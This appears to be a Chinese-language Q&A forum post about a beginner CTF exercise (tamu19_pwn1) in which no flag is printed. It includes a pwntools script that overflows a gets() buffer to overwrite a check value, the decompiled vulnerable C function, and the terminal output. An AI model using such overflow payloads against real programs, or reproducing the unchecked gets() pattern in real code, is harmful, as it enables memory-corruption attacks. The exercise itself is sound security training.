提问人:thebigstapla 提问时间:10/5/2023 更新时间:10/5/2023 访问量:58
在 ctf 中完成漏洞利用后,我的标志未通过终端显示
My flag is not displaying via terminal after completing an exploit in a ctf
问:
为了尽可能简洁,我正在运行一个 python 漏洞,它通过了它需要的所有检查,但是当原始 ELF 应该将标志写入 flag.txt 时,什么都没有显示。我比较(甚至复制)了针对这一挑战的其他解决方案,但没有一个真正为我展示旗帜。我的空标志 .txt 文件是权限问题吗?
对于那些希望我详细说明这个问题的人: 我对我正在使用的整个系统架构、软件和技术都是新手,所以可能有一个我不知道的简单问题。我目前正在经历穿着燕尾服的家伙的噩梦,我被困在问题 Tamu 19_pwn1上。 存储库:https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable/tamu19_pwn1
我在 VM 上运行 Ubuntu 22.04 并使用 Python 3.10.12
我在python3中完成了脚本:
# Import pwntools
from pwn import *
# Set the target file
target = process('./pwn1')
# Our payload should overwrite the 43 bytes and input our desired value
payload = b"0"*0x2b + p32(0xdea110c8)
# Send the first two lines for the first two questions
print(target.recvline()) # recieve the Intro
print(target.recvline()) # recieve Q1
target.sendline("Sir Lancelot of Camelot")
print(target.recvline()) # Q2
target.sendline("To seek the Holy Grail.")
# Send out payload at the 3rd line
print(target.recvline()) #Q3
target.sendline(payload)
# Print the flags
print(target.recvline()) # Outro
print(target.recvline()) # flag
# I used .interactive() but that did not work either
#target.interactive()
我正在利用的文件是 C 语言。 以下是文件中 main() 的片段:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x000108bb) */
undefined4 main(void)
{
int strcmpResult0;
int strcmpResult1;
char input [43];
setvbuf(stdout,(char *)0x2,0,0);
puts(
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
);
puts("What... is your name?");
fgets(input,0x2b,stdin);
strcmpResult0 = strcmp(input,"Sir Lancelot of Camelot\n");
if (strcmpResult0 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is your quest?");
fgets(input,0x2b,stdin);
strcmpResult1 = strcmp(input,"To seek the Holy Grail.\n");
if (strcmpResult1 == 0) {
puts("What... is my secret?");
gets(input);
puts("I don\'t know that! Auuuuuuuugh!");
return 0;
}
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
我应该在EOF之前期待这一点:flag{g0ttem_boyz}
相反,我得到了一个结束线,这是我的 flag.txt 最初包含的内容。这是我运行漏洞利用时在终端中得到的内容:
$ python exploit.py
[+] Starting local process './pwn1': pid 12060
[*] Switching to interactive mode
[*] Process './pwn1' stopped with exit code 0 (pid 12060)
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
[*] Got EOF while reading in interactive
$
不幸的是,为了最好地理解这个问题,您可能需要打开上面链接的存储库。
答: 暂无答案
下一个:CTF 挑战中的堆栈布局
评论
flag.txt